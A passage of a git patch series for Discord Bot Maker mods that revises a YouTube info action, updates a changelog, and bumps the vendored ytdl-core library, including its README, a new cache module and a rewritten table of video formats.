From 37591c35f26f256c4256a4b8d0cd14aeaa8c851d Mon Sep 17 00:00:00 2001 From: TheMonDon Date: Sat, 23 Nov 2019 12:52:36 -0600 Subject: [PATCH 1/4] Small fix to the mod which was in #mod-preview --- actions/youtube_info_MOD.js | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) diff --git a/actions/youtube_info_MOD.js b/actions/youtube_info_MOD.js index 656308cce..b8bd8d1a8 100644 --- a/actions/youtube_info_MOD.js +++ b/actions/youtube_info_MOD.js @@ -39,7 +39,7 @@ module.exports = { // The version of the mod (Defaults to 1.0.0) version: "1.9.6", //Added in 1.9.4? - version2: "1.0.0", // Just to keep track of this version compared to mod pack version + version2: "1.1.0", // Just to keep track of this version compared to mod pack version // A short description to show on the mod line for this mod (Must be on a single line) short_description: "Gets extra video information on YouTube based on video ID.", @@ -239,21 +239,14 @@ module.exports = { const fetchVideoInfo = WrexMods.require('youtube-info'); const TimeFormat = WrexMods.require('hh-mm-ss'); const ytdl = WrexMods.require('ytdl-core'); - const getInfoAsync = WrexMods.require('util') - .promisify(ytdl.getInfo); let result; // Check if everything is ok: if (!video) return console.log("Please specify a video id to get video informations."); - - const song = await getInfoAsync(video) - .catch((err) => { - console.error(err); - }); - if (!song.video_id) return console.log('Could not find song ID in youtube_info_MOD. This is probably due to ytdl-core being outdated.'); + const songID = ytdl.getVideoID(video); - fetchVideoInfo(song.video_id, function (err, videoInfo) { + fetchVideoInfo(songID, function (err, videoInfo) { if (err) return console.error(err); switch (info) { From 233d6103cf44a3b244879201cba20292d213e055 Mon Sep 17 00:00:00 2001 From: TheMonDon Date: Sat, 23 Nov 2019 13:37:36 -0600 Subject: [PATCH 2/4] Update changelog to reflect master --- actions/mod_info_changelog_MOD.js | 21 ++++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/actions/mod_info_changelog_MOD.js b/actions/mod_info_changelog_MOD.js index c8ac310d6..88fb085a9 100644 --- a/actions/mod_info_changelog_MOD.js +++ b/actions/mod_info_changelog_MOD.js @@ -37,7 +37,7 @@ subtitle: function(data) { author: "DBM Mods", // The version of the mod (Defaults to 1.0.0) -version: "1.9.6 ~ beta", +version: "1.9.7 ~ beta", // A short description to show on the mod line for this mod (Must be on a single line) short_description: "Changelog overview", @@ -85,15 +85,21 @@ html: function(isEvent, data) { return `
+

+

1.9.7: Someone come up with a tagline plz

+ ● Revised Youtube Info Mod
+

1.9.6: Almost everything requires beta! WOO!

- ● Added Check if File Exists
+ ● Added Check if File Exists Mod
● Added Generate Random Word
● Added Merge Lists Mod
● Added Slice Mod
● Added Play Youtube (Revised default action)
● Added Create Anchor Mod
● Added Jump To Anchor Mod
+ ● Added Inspect List or Object Mod
+ ● Added Filter List or Object Mod
● Revised Check If Member
● Revised Parse From Sored JSON
● Revised Read File
@@ -107,8 +113,17 @@ html: function(isEvent, data) { ● Revised Youtube Info Mod
● Revised Check If User Reacted Mod
● Revised Convert Seconds To Days Mod
- ● Revissed File Control (V4)
+ ● Revised File Control (V4) Mod
● Revised Game Server Mod
+ ● Revised Add Embed Field
+ ● Revised Set Embed Description
+ ● Revised Send Embed Message
+ ● Revised Send Image Mod
+ ● Revised Send Gif Mod
+ ● Revised Send Log Message
+ ● Revised Find Emoji
+ ● Revised Find Emoji in MSG Server Mod
+ ● Revised Check Variable
● Fixed Create Voice Channel
● Fixed Create Channel
● Fixed Create Category
From 91ecaba96964e765f2e5d1eede1d2f25656b1963 Mon Sep 17 00:00:00 2001 From: TheMonDon Date: Sun, 19 Jan 2020 19:34:23 -0600 Subject: [PATCH 3/4] Update ytdl-core to 1.0.7 Title --- node_modules/ytdl-core/README.md | 48 +- node_modules/ytdl-core/lib/cache.js | 32 + node_modules/ytdl-core/lib/formats.js | 804 ++++++++-------------- node_modules/ytdl-core/lib/index.js | 6 +- node_modules/ytdl-core/lib/info-extras.js | 51 +- node_modules/ytdl-core/lib/info.js | 91 +-- node_modules/ytdl-core/lib/sig.js | 9 +- node_modules/ytdl-core/lib/util.js | 105 ++- node_modules/ytdl-core/package.json | 26 +- node_modules/ytdl-core/typings/index.d.ts | 60 +- 10 files changed, 529 insertions(+), 703 deletions(-) create mode 100644 node_modules/ytdl-core/lib/cache.js diff --git a/node_modules/ytdl-core/README.md b/node_modules/ytdl-core/README.md index d7e42094a..5413247ad 100644 --- a/node_modules/ytdl-core/README.md +++ b/node_modules/ytdl-core/README.md @@ -5,8 +5,6 @@ Yet another youtube downloading module. Written with only Javascript and a node-friendly streaming interface. -For a CLI version of this, check out [ytdl](https://github.com/fent/node-ytdl), [pully](https://github.com/JimmyBoh/pully), and [yodl](https://github.com/Luxray5474/yodl). - # Support You can contact us for support on our [chat server](https://discord.gg/V3vSCs7) @@ -29,26 +27,38 @@ ytdl('http://www.youtube.com/watch?v=A02s8omM_hI') Attempts to download a video from the given url. Returns a [readable stream](https://nodejs.org/api/stream.html#stream_class_stream_readable). `options` can have the following keys -* `quality` - Video quality to download. Can be an [itag value](http://en.wikipedia.org/wiki/YouTube#Quality_and_formats), a list of itag values, or `highest`/`lowest`/`highestaudio`/`lowestaudio`/`highestvideo`/`lowestvideo`. `highestaudio`/`lowestaudio`/`highestvideo`/`lowestvideo` all prefer audio/video only respectively. Defaults to `highest`. -* `filter` - Used to decide what format to download. Can be `audioandvideo` to filter formats that contain both video and audio, `video` to filter for formats that contain video, or `videoonly` for formats that contain video and no additional audio track. Can also be `audio` or `audioonly`. You can give a filtering function that gets called with each format available. This function is given the `format` object as its first argument, and should return true if the format is preferable. +* `quality` - Video quality to download. Can be an [itag value](http://en.wikipedia.org/wiki/YouTube#Quality_and_formats), a list of itag values, or `highest`/`lowest`/`highestaudio`/`lowestaudio`/`highestvideo`/`lowestvideo`. `highestaudio`/`lowestaudio`/`highestvideo`/`lowestvideo` all prefer audio/video only respectively. Defaults to `highest`, which prefers formats with both video and audio. + + A typical video's formats will be sorted in the follwing way using `quality: 'highest'` + ``` + itag container quality codecs bitrate audio bitrate + 18 mp4 360p avc1.42001E, mp4a.40.2 696.66KB 96KB + 137 mp4 1080p avc1.640028 4.53MB + 248 webm 1080p vp9 2.52MB + 136 mp4 720p avc1.4d4016 2.2MB + 247 webm 720p vp9 1.44MB + 135 mp4 480p avc1.4d4014 1.1MB + 134 mp4 360p avc1.4d401e 593.26KB + 140 mp4 mp4a.40.2 128KB + ``` + format 18 at 360p will be chosen first since it's the highest quality format with both video and audio. +* `filter` - Used to filter the list of formats to choose from. Can be `audioandvideo` to filter formats that contain both video and audio, `video` to filter for formats that contain video, or `videoonly` for formats that contain video and no additional audio track. Can also be `audio` or `audioonly`. You can give a filtering function that gets called with each format available. This function is given the `format` object as its first argument, and should return true if the format is preferable. + ```js + // Example with custom function. + ytdl(url, { filter: format => format.container === 'mp4' }) + ``` * `format` - Primarily used to download specific video or audio streams. This can be a specific `format` object returned from `getInfo`. * Supplying this option will ignore the `filter` and `quality` options since the format is explicitly provided. * `range` - A byte range in the form `{start: INT, end: INT}` that specifies part of the file to download, ie {start: 10355705, end: 12452856}. * This downloads a portion of the file, and not a separately spliced video. -* `begin` - What time in the video to begin. Supports formats `00:00:00.000`, `0ms, 0s, 0m, 0h`, or number of milliseconds. Example: `1:30`, `05:10.123`, `10m30s`. For live videos, this also accepts a unix timestamp or Date, and defaults to `Date.now()`. - * This option may not work on super short (less than 30s) videos, and has to be at or above 6s, see [#129](https://github.com/fent/node-ytdl-core/issues/129). - * It may also not work for some formats, see [#219](https://github.com/fent/node-ytdl-core/issues/219). +* `begin` - What time in the video to begin. Supports formats `00:00:00.000`, `0ms, 0s, 0m, 0h`, or number of milliseconds. Example: `1:30`, `05:10.123`, `10m30s`. + * For live videos, this also accepts a unix timestamp or Date, and defaults to `Date.now()`. + * This option is not very reliable, see [#129](https://github.com/fent/node-ytdl-core/issues/129), [#219](https://github.com/fent/node-ytdl-core/issues/219). * `liveBuffer` - How much time buffer to use for live videos in milliseconds. Default is `20000`. -* `requestOptions` - Anything to merge into the request options which [miniget](https://github.com/fent/node-miniget) is called with, such as headers. +* `requestOptions` - Anything to merge into the request options which [miniget](https://github.com/fent/node-miniget) is called with, such as `headers`. * `highWaterMark` - How much of the video download to buffer into memory. See [node's docs](https://nodejs.org/api/stream.html#stream_constructor_new_stream_writable_options) for more. * `lang` - The 2 character symbol of a language. Default is `en`. -```js -// Example with `filter` option. -ytdl(url, { filter: (format) => format.container === 'mp4' }) - .pipe(fs.createWriteStream('video.mp4')); -``` - #### Event: info * [`ytdl.videoInfo`](example/info.json) - Info. * [`ytdl.videoFormat`](typings/index.d.ts#L22) - Video Format. @@ -134,7 +144,7 @@ ytdl cannot download videos that fall into the following * Private * Rentals -YouTube intentionally ratelimits downloads, likely to prevent bandwidth abuse. The download rate is still faster than a media player can play the video, even on 2x. See [#294](https://github.com/fent/node-ytdl-core/issues/294). +YouTube intentionally rate limits downloads, particularly audio only formats, likely to prevent bandwidth abuse. The download rate is still faster than a media player can play the video, even on 2x. See [#294](https://github.com/fent/node-ytdl-core/issues/294). Generated download links are valid for 6 hours, for the same IP address. @@ -172,6 +182,14 @@ yarn add ytdl-core@latest If you're using a bot or app that uses ytdl-core, it may be dependent on an older version. Make sure you're installing the latest version of ytdl-core to keep up with the latest fixes. +# Related Projects + +- [ytdl](https://github.com/fent/node-ytdl) - A cli wrapper of this. +- [pully](https://github.com/JimmyBoh/pully) - Another cli wrapper of this aimed at high quality formats. +- [ytsr](https://github.com/TimeForANinja/node-ytsr) - YouTube video search results. +- [ytpl](https://github.com/TimeForANinja/node-ytpl) - YouTube playlist and channel resolver. + + # Tests Tests are written with [mocha](https://mochajs.org) diff --git a/node_modules/ytdl-core/lib/cache.js b/node_modules/ytdl-core/lib/cache.js new file mode 100644 index 000000000..a67f69f7f --- /dev/null +++ b/node_modules/ytdl-core/lib/cache.js @@ -0,0 +1,32 @@ +// A cache that expires. +module.exports = class Cache extends Map { + constructor() { + super(); + this.timeout = 1000; + } + set(key, value) { + super.set(key, { + tid: setTimeout(this.delete.bind(this, key), this.timeout), + value, + }); + } + get(key) { + let entry = super.get(key); + if (entry) { + return entry.value; + } + } + delete(key) { + let entry = super.get(key); + if (entry) { + clearTimeout(entry.tid); + super.delete(key); + } + } + clear() { + for (let entry of this.values()) { + clearTimeout(entry.tid); + } + super.clear(); + } +}; diff --git a/node_modules/ytdl-core/lib/formats.js b/node_modules/ytdl-core/lib/formats.js index a1248c02f..6f7eca03a 100644 --- a/node_modules/ytdl-core/lib/formats.js +++ b/node_modules/ytdl-core/lib/formats.js @@ -4,734 +4,514 @@ module.exports = { '5': { - container: 'flv', - resolution: '240p', - encoding: 'Sorenson H.283', - profile: null, - bitrate: '0.25', - audioEncoding: 'mp3', + mimeType: 'video/flv; codecs="Sorenson H.283, mp3"', + qualityLabel: '240p', + bitrate: 250000, audioBitrate: 64, }, '6': { - container: 'flv', - resolution: '270p', - encoding: 'Sorenson H.263', - profile: null, - bitrate: '0.8', - audioEncoding: 'mp3', + mimeType: 'video/flv; codecs="Sorenson H.263, mp3"', + qualityLabel: '270p', + bitrate: 800000, audioBitrate: 64, }, '13': { - container: '3gp', - resolution: null, - encoding: 'MPEG-4 Visual', - profile: null, - bitrate: '0.5', - audioEncoding: 'aac', + mimeType: 'video/3gp; codecs="MPEG-4 Visual, aac"', + qualityLabel: null, + bitrate: 500000, audioBitrate: null, }, '17': { - container: '3gp', - resolution: '144p', - encoding: 'MPEG-4 Visual', - profile: 'simple', - bitrate: '0.05', - audioEncoding: 'aac', + mimeType: 'video/3gp; codecs="MPEG-4 Visual, aac"', + qualityLabel: '144p', + bitrate: 50000, audioBitrate: 24, }, '18': { - container: 'mp4', - resolution: '360p', - encoding: 'H.264', - profile: 'baseline', - bitrate: '0.5', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '360p', + bitrate: 500000, audioBitrate: 96, }, '22': { - container: 'mp4', - resolution: '720p', - encoding: 'H.264', - profile: 'high', - bitrate: '2-3', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '720p', + bitrate: 2000000, audioBitrate: 192, }, '34': { - container: 'flv', - resolution: '360p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.5', - audioEncoding: 'aac', + mimeType: 'video/flv; codecs="H.264, aac"', + qualityLabel: '360p', + bitrate: 500000, audioBitrate: 128, }, '35': { - container: 'flv', - resolution: '480p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.8-1', - audioEncoding: 'aac', + mimeType: 'video/flv; codecs="H.264, aac"', + qualityLabel: '480p', + bitrate: 800000, audioBitrate: 128, }, '36': { - container: '3gp', - resolution: '240p', - encoding: 'MPEG-4 Visual', - profile: 'simple', - bitrate: '0.175', - audioEncoding: 'aac', + mimeType: 'video/3gp; codecs="MPEG-4 Visual, aac"', + qualityLabel: '240p', + bitrate: 175000, audioBitrate: 32, }, '37': { - container: 'mp4', - resolution: '1080p', - encoding: 'H.264', - profile: 'high', - bitrate: '3-5.9', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '1080p', + bitrate: 3000000, audioBitrate: 192, }, '38': { - container: 'mp4', - resolution: '3072p', - encoding: 'H.264', - profile: 'high', - bitrate: '3.5-5', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '3072p', + bitrate: 3500000, audioBitrate: 192, }, '43': { - container: 'webm', - resolution: '360p', - encoding: 'VP8', - profile: null, - bitrate: '0.5-0.75', - audioEncoding: 'vorbis', + mimeType: 'video/webm; codecs="VP8, vorbis"', + qualityLabel: '360p', + bitrate: 500000, audioBitrate: 128, }, '44': { - container: 'webm', - resolution: '480p', - encoding: 'VP8', - profile: null, - bitrate: '1', - audioEncoding: 'vorbis', + mimeType: 'video/webm; codecs="VP8, vorbis"', + qualityLabel: '480p', + bitrate: 1000000, audioBitrate: 128, }, '45': { - container: 'webm', - resolution: '720p', - encoding: 'VP8', - profile: null, - bitrate: '2', - audioEncoding: 'vorbis', + mimeType: 'video/webm; codecs="VP8, vorbis"', + qualityLabel: '720p', + bitrate: 2000000, audioBitrate: 192, }, '46': { - container: 'webm', - resolution: '1080p', - encoding: 'vp8', - profile: null, + mimeType: 'audio/webm; codecs="vp8, vorbis"', + qualityLabel: '1080p', bitrate: null, - audioEncoding: 'vorbis', audioBitrate: 192, }, '82': { - container: 'mp4', - resolution: '360p', - encoding: 'H.264', - profile: '3d', - bitrate: '0.5', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '360p', + bitrate: 500000, audioBitrate: 96, }, '83': { - container: 'mp4', - resolution: '240p', - encoding: 'H.264', - profile: '3d', - bitrate: '0.5', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '240p', + bitrate: 500000, audioBitrate: 96, }, '84': { - container: 'mp4', - resolution: '720p', - encoding: 'H.264', - profile: '3d', - bitrate: '2-3', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '720p', + bitrate: 2000000, audioBitrate: 192, }, '85': { - container: 'mp4', - resolution: '1080p', - encoding: 'H.264', - profile: '3d', - bitrate: '3-4', - audioEncoding: 'aac', + mimeType: 'video/mp4; codecs="H.264, aac"', + qualityLabel: '1080p', + bitrate: 3000000, audioBitrate: 192, }, + '91': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '144p', + bitrate: 100000, + audioBitrate: 48, + }, + + '92': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '240p', + bitrate: 150000, + audioBitrate: 48, + }, + + '93': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '360p', + bitrate: 500000, + audioBitrate: 128, + }, + + '94': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '480p', + bitrate: 800000, + audioBitrate: 128, + }, + + '95': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '720p', + bitrate: 1500000, + audioBitrate: 256, + }, + + '96': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '1080p', + bitrate: 2500000, + audioBitrate: 256, + }, + '100': { - container: 'webm', - resolution: '360p', - encoding: 'VP8', - profile: '3d', + mimeType: 'audio/webm; codecs="VP8, vorbis"', + qualityLabel: '360p', bitrate: null, - audioEncoding: 'vorbis', audioBitrate: 128, }, '101': { - container: 'webm', - resolution: '360p', - encoding: 'VP8', - profile: '3d', + mimeType: 'audio/webm; codecs="VP8, vorbis"', + qualityLabel: '360p', bitrate: null, - audioEncoding: 'vorbis', audioBitrate: 192, }, '102': { - container: 'webm', - resolution: '720p', - encoding: 'VP8', - profile: '3d', + mimeType: 'audio/webm; codecs="VP8, vorbis"', + qualityLabel: '720p', bitrate: null, - audioEncoding: 'vorbis', audioBitrate: 192, }, - // DASH (video only) + '120': { + mimeType: 'video/flv; codecs="H.264, aac"', + qualityLabel: '720p', + bitrate: 2000000, + audioBitrate: 128, + }, + + '127': { + mimeType: 'audio/ts; codecs="aac"', + qualityLabel: null, + bitrate: null, + audioBitrate: 96, + }, + + '128': { + mimeType: 'audio/ts; codecs="aac"', + qualityLabel: null, + bitrate: null, + audioBitrate: 96, + }, + + '132': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '240p', + bitrate: 150000, + audioBitrate: 48, + }, + '133': { - container: 'mp4', - resolution: '240p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.2-0.3', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '240p', + bitrate: 200000, audioBitrate: null, }, '134': { - container: 'mp4', - resolution: '360p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.3-0.4', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '360p', + bitrate: 300000, audioBitrate: null, }, '135': { - container: 'mp4', - resolution: '480p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.5-1', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '480p', + bitrate: 500000, audioBitrate: null, }, '136': { - container: 'mp4', - resolution: '720p', - encoding: 'H.264', - profile: 'main', - bitrate: '1-1.5', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '720p', + bitrate: 1000000, audioBitrate: null, }, '137': { - container: 'mp4', - resolution: '1080p', - encoding: 'H.264', - profile: 'high', - bitrate: '2.5-3', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '1080p', + bitrate: 2500000, audioBitrate: null, }, '138': { - container: 'mp4', - resolution: '4320p', - encoding: 'H.264', - profile: 'high', - bitrate: '13.5-25', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '4320p', + bitrate: 13500000, audioBitrate: null, }, + '139': { + mimeType: 'audio/mp4; codecs="aac"', + qualityLabel: null, + bitrate: null, + audioBitrate: 48, + }, + + '140': { + mimeType: 'audio/m4a; codecs="aac"', + qualityLabel: null, + bitrate: null, + audioBitrate: 128, + }, + + '141': { + mimeType: 'audio/mp4; codecs="aac"', + qualityLabel: null, + bitrate: null, + audioBitrate: 256, + }, + + '151': { + mimeType: 'video/ts; codecs="H.264, aac"', + qualityLabel: '720p', + bitrate: 50000, + audioBitrate: 24, + }, + '160': { - container: 'mp4', - resolution: '144p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.1', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '144p', + bitrate: 100000, audioBitrate: null, }, + '171': { + mimeType: 'audio/webm; codecs="vorbis"', + qualityLabel: null, + bitrate: null, + audioBitrate: 128, + }, + + '172': { + mimeType: 'audio/webm; codecs="vorbis"', + qualityLabel: null, + bitrate: null, + audioBitrate: 192, + }, + '242': { - container: 'webm', - resolution: '240p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '0.1-0.2', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '240p', + bitrate: 100000, audioBitrate: null, }, '243': { - container: 'webm', - resolution: '360p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '0.25', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '360p', + bitrate: 250000, audioBitrate: null, }, '244': { - container: 'webm', - resolution: '480p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '0.5', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '480p', + bitrate: 500000, audioBitrate: null, }, '247': { - container: 'webm', - resolution: '720p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '0.7-0.8', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '720p', + bitrate: 700000, audioBitrate: null, }, '248': { - container: 'webm', - resolution: '1080p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '1.5', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '1080p', + bitrate: 1500000, audioBitrate: null, }, + '249': { + mimeType: 'audio/webm; codecs="opus"', + qualityLabel: null, + bitrate: null, + audioBitrate: 48, + }, + + '250': { + mimeType: 'audio/webm; codecs="opus"', + qualityLabel: null, + bitrate: null, + audioBitrate: 64, + }, + + '251': { + mimeType: 'audio/webm; codecs="opus"', + qualityLabel: null, + bitrate: null, + audioBitrate: 160, + }, + '264': { - container: 'mp4', - resolution: '1440p', - encoding: 'H.264', - profile: 'high', - bitrate: '4-4.5', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '1440p', + bitrate: 4000000, audioBitrate: null, }, '266': { - container: 'mp4', - resolution: '2160p', - encoding: 'H.264', - profile: 'high', - bitrate: '12.5-16', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '2160p', + bitrate: 12500000, audioBitrate: null, }, '271': { - container: 'webm', - resolution: '1440p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '9', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '1440p', + bitrate: 9000000, audioBitrate: null, }, '272': { - container: 'webm', - resolution: '4320p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '20-25', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '4320p', + bitrate: 20000000, audioBitrate: null, }, '278': { - container: 'webm', - resolution: '144p 15fps', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '0.08', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '144p 15fps', + bitrate: 80000, audioBitrate: null, }, '298': { - container: 'mp4', - resolution: '720p', - encoding: 'H.264', - profile: 'main', - bitrate: '3-3.5', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '720p', + bitrate: 3000000, audioBitrate: null, }, '299': { - container: 'mp4', - resolution: '1080p', - encoding: 'H.264', - profile: 'high', - bitrate: '5.5', - audioEncoding: null, + mimeType: 'video/mp4; codecs="H.264"', + qualityLabel: '1080p', + bitrate: 5500000, audioBitrate: null, }, '302': { - container: 'webm', - resolution: '720p HFR', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '2.5', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '720p HFR', + bitrate: 2500000, audioBitrate: null, }, '303': { - container: 'webm', - resolution: '1080p HFR', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '5', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '1080p HFR', + bitrate: 5000000, audioBitrate: null, }, '308': { - container: 'webm', - resolution: '1440p HFR', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '10', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '1440p HFR', + bitrate: 10000000, audioBitrate: null, }, '313': { - container: 'webm', - resolution: '2160p', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '13-15', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '2160p', + bitrate: 13000000, audioBitrate: null, }, '315': { - container: 'webm', - resolution: '2160p HFR', - encoding: 'VP9', - profile: 'profile 0', - bitrate: '20-25', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '2160p HFR', + bitrate: 20000000, audioBitrate: null, }, '330': { - container: 'webm', - resolution: '144p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '0.08', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '144p HDR, HFR', + bitrate: 80000, audioBitrate: null, }, '331': { - container: 'webm', - resolution: '240p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '0.1-0.15', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '240p HDR, HFR', + bitrate: 100000, audioBitrate: null, }, '332': { - container: 'webm', - resolution: '360p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '0.25', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '360p HDR, HFR', + bitrate: 250000, audioBitrate: null, }, '333': { - container: 'webm', - resolution: '240p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '0.5', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '240p HDR, HFR', + bitrate: 500000, audioBitrate: null, }, '334': { - container: 'webm', - resolution: '720p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '1', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '720p HDR, HFR', + bitrate: 1000000, audioBitrate: null, }, '335': { - container: 'webm', - resolution: '1080p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '1.5-2', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '1080p HDR, HFR', + bitrate: 1500000, audioBitrate: null, }, '336': { - container: 'webm', - resolution: '1440p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '5-7', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '1440p HDR, HFR', + bitrate: 5000000, audioBitrate: null, }, '337': { - container: 'webm', - resolution: '2160p HDR, HFR', - encoding: 'VP9', - profile: 'profile 2', - bitrate: '12-14', - audioEncoding: null, + mimeType: 'video/webm; codecs="VP9"', + qualityLabel: '2160p HDR, HFR', + bitrate: 12000000, audioBitrate: null, - }, - - // DASH (audio only) - '139': { - container: 'mp4', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'aac', - audioBitrate: 48, - }, - - '140': { - container: 'm4a', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'aac', - audioBitrate: 128, - }, - - '141': { - container: 'mp4', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'aac', - audioBitrate: 256, - }, - - '171': { - container: 'webm', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'vorbis', - audioBitrate: 128, - }, - - '172': { - container: 'webm', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'vorbis', - audioBitrate: 192, - }, - - '249': { - container: 'webm', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'opus', - audioBitrate: 48, - }, - '250': { - container: 'webm', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'opus', - audioBitrate: 64, - }, - '251': { - container: 'webm', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'opus', - audioBitrate: 160, - }, - - // Live streaming - '91': { - container: 'ts', - resolution: '144p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.1', - audioEncoding: 'aac', - audioBitrate: 48, - }, - - '92': { - container: 'ts', - resolution: '240p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.15-0.3', - audioEncoding: 'aac', - audioBitrate: 48, - }, - - '93': { - container: 'ts', - resolution: '360p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.5-1', - audioEncoding: 'aac', - audioBitrate: 128, - }, - - '94': { - container: 'ts', - resolution: '480p', - encoding: 'H.264', - profile: 'main', - bitrate: '0.8-1.25', - audioEncoding: 'aac', - audioBitrate: 128, - }, - - '95': { - container: 'ts', - resolution: '720p', - encoding: 'H.264', - profile: 'main', - bitrate: '1.5-3', - audioEncoding: 'aac', - audioBitrate: 256, - }, - - '96': { - container: 'ts', - resolution: '1080p', - encoding: 'H.264', - profile: 'high', - bitrate: '2.5-6', - audioEncoding: 'aac', - audioBitrate: 256, - }, - - '120': { - container: 'flv', - resolution: '720p', - encoding: 'H.264', - profile: 'Main@L3.1', - bitrate: '2', - audioEncoding: 'aac', - audioBitrate: 128, - }, - - '127': { - container: 'ts', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'aac', - audioBitrate: 96, - }, - - '128': { - container: 'ts', - resolution: null, - encoding: null, - profile: null, - bitrate: null, - audioEncoding: 'aac', - audioBitrate: 96, - }, - - '132': { - container: 'ts', - resolution: '240p', - encoding: 'H.264', - profile: 'baseline', - bitrate: '0.15-0.2', - audioEncoding: 'aac', - audioBitrate: 48, - }, - - '151': { - container: 'ts', - resolution: '720p', - encoding: 'H.264', - profile: 'baseline', - bitrate: '0.05', - audioEncoding: 'aac', - audioBitrate: 24, - }, + } }; diff --git a/node_modules/ytdl-core/lib/index.js b/node_modules/ytdl-core/lib/index.js index dd734e79e..bf4b86265 100644 --- a/node_modules/ytdl-core/lib/index.js +++ b/node_modules/ytdl-core/lib/index.js @@ -4,7 +4,7 @@ const util = require('./util'); const sig = require('./sig'); const request = require('miniget'); const m3u8stream = 